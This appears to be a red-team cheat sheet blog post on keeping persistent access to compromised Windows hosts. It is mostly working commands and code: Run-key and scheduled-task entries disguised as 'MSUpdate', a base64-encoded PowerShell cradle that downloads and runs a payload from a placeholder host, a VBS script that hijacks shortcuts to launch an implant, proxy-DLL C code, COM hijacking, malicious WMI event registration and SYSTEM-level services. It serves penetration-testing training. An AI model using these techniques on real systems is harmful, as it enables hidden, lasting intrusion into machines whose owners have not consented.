Windows Host Persistence

Windows Host Persistence


6 min read

Startup folder

  • Runs when they log in

Copy payload to startup folder

copy "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

  • For cleanup delete the file again


str='IEX ((new-object net.webclient).downloadstring("x.x.x.x/a"))' [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc " -f "UserEnvSetup" -m add

Registry keys

  • Run applications on boot

  • There are more keys, read Mitre

Query and set reg key

Can use HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /t REG_SZ /d /f

Cleanup reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /f

Launch programs or set folder items

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders


  • -k is the registry key to modify.

  • -v is the name of the registry key to create.

    SharPersist.exe -t reg -c "" -a "/q /n" -k "hkcurun" -v "MSUpdate" -m add

Scheduled task

Create, Query and run task

schtasks /create /tn "MSUpdate" /sc daily /st 10:00 /tr "" schtasks /query /tn "MSUpdate" /fo:list /v schtasks /run /tn "MSUpdate"

Create task the user session is idle for 10 minutes

schtasks /create /tn "MSUpdate" /tr "" /sc onidle /i 10 schtasks /query /tn "MSUpdate" /fo:list /v schtasks /run /tn "MSUpdate"

Logon Scripts

Script will run on logon of a user. Might not run instantly because of logon script startup delay.

Query and set reg key

reg query "HKEY_CURRENT_USER\Environment"

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /d "" /t REG_SZ /f

Bath file



reg delete "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript

Shortcut modifications

Modify shortcuts from programs that are frequently used.

Run the following VBS script

Preserves the original functionality. Will replace link with newTarget which will run the implant and then the orginal program

Run it with wscript <SCRIPT>

' CONFIGURATION implant = "C:\implant.exe" newTarget = "C:\putty.vbs" lnkName = "putty.exe.lnk"

' helper vars set WshShell = WScript.CreateObject("WScript.Shell" ) strDesktop = WshShell.SpecialFolders("Desktop" ) set oShellLink = WshShell.CreateShortcut(strDesktop & "" & lnkName ) origTarget = oShellLink.TargetPath origArgs = oShellLink.Arguments origIcon = oShellLink.IconLocation origDir = oShellLink.WorkingDirectory

' persistence implantation Set FSO = CreateObject("Scripting.FileSystemObject") Set File = FSO.CreateTextFile(newTarget,True) File.Write "Set oShell = WScript.CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")" & vbCrLf File.Write "oShell.Run " & chr(34) & implant & chr(34) & vbCrLf File.Write "oShell.Run " & chr(34) & oShellLink.TargetPath & " " & oShellLink.Arguments & chr(34) & vbCrLf File.Close

oShellLink.TargetPath = newTarget oShellLink.IconLocation = origTarget & ", 0" oShellLink.WorkingDirectory = origDir oShellLink.WindowStyle = 7 oShellLink.Save


Might not work if screensaver is already set over GPO

Query and set reg key

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "" /f removal: reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "" /f

Query and change screen saver timeout

Time in seconds

reg query "HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut"

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "ScreenSaveTimeOut" /t REG_SZ /d "10" /f

Cleanup reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /t REG_SZ /d "" /f

PowerShell Profile

Only works when PowerShell is started on the machine. Will work for example if a logon script is run with PowerShell

Dir profile path

dir %HOMEPATH%\Documents\windowspowershell\

Create WindowPowerShell directory

If it doesn’t exist

mkdir %HOMEPATH%\Documents\windowspowershell\

Create profile

echo > "%HOMEPATH%"\Documents\windowspowershell\profile.ps1"

Add to existing profile

echo >> "%HOMEPATH%"\Documents\windowspowershell<PROFILE>"


rem %HOMEPATH%"\Documents\windowspowershell\profile.ps1

DLL Proxying/hijacking

  • DLL Hijacking might break the application. Creating a proxy module which will run the implant and then run the legitimate DLL.

  • DLL Search order for Desktop Apps:

    • DLL already in memory

    • HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

    • App’s directory

    • C:\Windows\System32 | SysWow64

    • C:\Windows\System

    • C:\Windows\

    • Current directory

    • `%PATH%

Find Program to Hijack

Need write permissions to place DLL in the App’s directory.


Download everything locally

Check for DLL to proxy/hijack

  • Start [ProcMon](

  • Set two filters

    • Result, contains, NOT FOUND, Include

    • Process Name, contains, <PROCESS/PROGRAM NAME>, Include

  • Start the Program

  • Check for DLL’s which are not found.

  • Open process hacker and go to Modules, then check if the DLL NOT FOUND is still loaded.

    • The message is showing because it couldn’t find it in the first path but it did in another folder
  • Turn off filter to check it was found.

  • Choosing a DLL

    • Check for imported DLL’s with dumpbin. dumpbin /imports <PATH TO EXE>

    • Look for a DLL Without a lot of functions

Create proxy DLL

Possible to make your own C code and injector in the Go function.

#include <Windows.h>

void Go(void) { STARTUPINFO info={sizeof(info)}; PROCESS_INFORMATION processInfo;

CreateProcess( "", "", NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo);


BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {

switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: Go(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }

  • Add original function linkers, example. Add the ordinal number of the function from dumpbin. (Convert hex to decimal)

  • Where winsplhlp is a copy of the original DLL

    #pragma comment(linker,"/export:OpenPrinterA=winsplhlp.OpenPrinterA,..")

  • Compile

    • Make sure compile it to the correct architecture

cl.exe /W0 /D_USRDLL /D_WINDLL .cpp /MT /link /DLL /OUT:

  • Print exports of DLL

    dumpbin /exports

  • Copy original DLL to DLL used in linker

    cp .dll <DLL NAME SET IN LINKER>.dll

  • Program might still crash if specific functions from the DLL are used that didn’t show in the import table. Get all the exported functions:

    dumpbin /exports

  • Create linker for every function! If there are functions without names use the ordinals with the following syntact

    #pragma comment(linker,"/export:NONAME=winsplhlp.#100,@100,NONAME")

COM Proxying/hijacking

  • COM loads from the user registry and then from the system. So looking up a reg key it loads from the system hive and adding it in the user hive will make it load that reg key first.

  • COM registery can be found in <HIVE>\SOFTWARE\Classes\CLSID Where <HIVE> is the HKCR, HKCU or HKLM

Check for COM to hijack

  • Query scheduled tasks. Look for something as <ComHandler> instead if the <Exec> tags and <LogonTrigger> in <Triggers>

    schtasks /query /xml > tasks.xml

  • Query the HKCR to see which DLL and then the HKCU and HKLM to check where the reg key is set. If HKLM then its exploitable by adding a HKCU.

    reg query "HKCR\CLSID{}" reg query "HKCR\CLSID{}\Inprocserver32"

    reg query "HKCU\SOFTWARE\Classes\CLSID{}" reg query "HKLM\SOFTWARE\Classes\CLSID{}"

  • Export key

    reg export "HKLM\SOFTWARE\Classes\CLSID{}" tsk-orig.reg /reg:64 /y

Microsoft Office Trusted Locations

  • Allow DLL or macros to execute despite the configured security settings (Ignored if macro’s or add-ins have been blocked by GPO)

  • Create a new Excel document with a module containing the persistence mechanism. Save it as “Excel Add-in” inside %APPDATA%\Microsoft\Excel\XLSTART and it will be launched every time the user opens MS Excel application.



Persistence methods for high privileged persistence


Create service running as SYSTEM, service is in a stopped state, but with the START_TYPE set to AUTO_START.

.\SharPersist.exe -t service -c "" -n "" -m add


Run task as system each time a user logs in

schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "" /tr /sc onlogon


  • Persistence can be achieved with EventConsumer, EventFiler, FilterToConsumerBinding


    Import-Module PowerLurk.ps1 Register-MaliciousWmiEvent -EventName -PermanentCommand "" -Trigger ProcessStart -ProcessName notepad.exe

Just Enough Admin

  • If we have admin privileges on a machine, we can create a JEA endpoint which allows all commands to a user we control.

  • With this capability, it is also possible to clear the transcripts for this endpoint.

Create a new JEA endpoint

Connect to JEA endpoint

Enter-PSSession -ComputerName ops-dc -ConfigurationName microsoft.powershell64

Avatar of RFS

RFS (43)

HTB Offshore

Offshore NetworkTrain on real enterprise infrastructures with Hack The Box.

Offshore is a real-world enterprise environment that features a wide range of modern Active Directory flaws and misconfigurations.

Join the Network

Persistence, MITRE ATT&CK

Tagged in:

Active Directory, cyber red team training, Cyber Security, Keyword red team penetration testing, pen test red team, pen testing red team, pentesting red team, red team exercise examples, red team penetration testing, red team project management software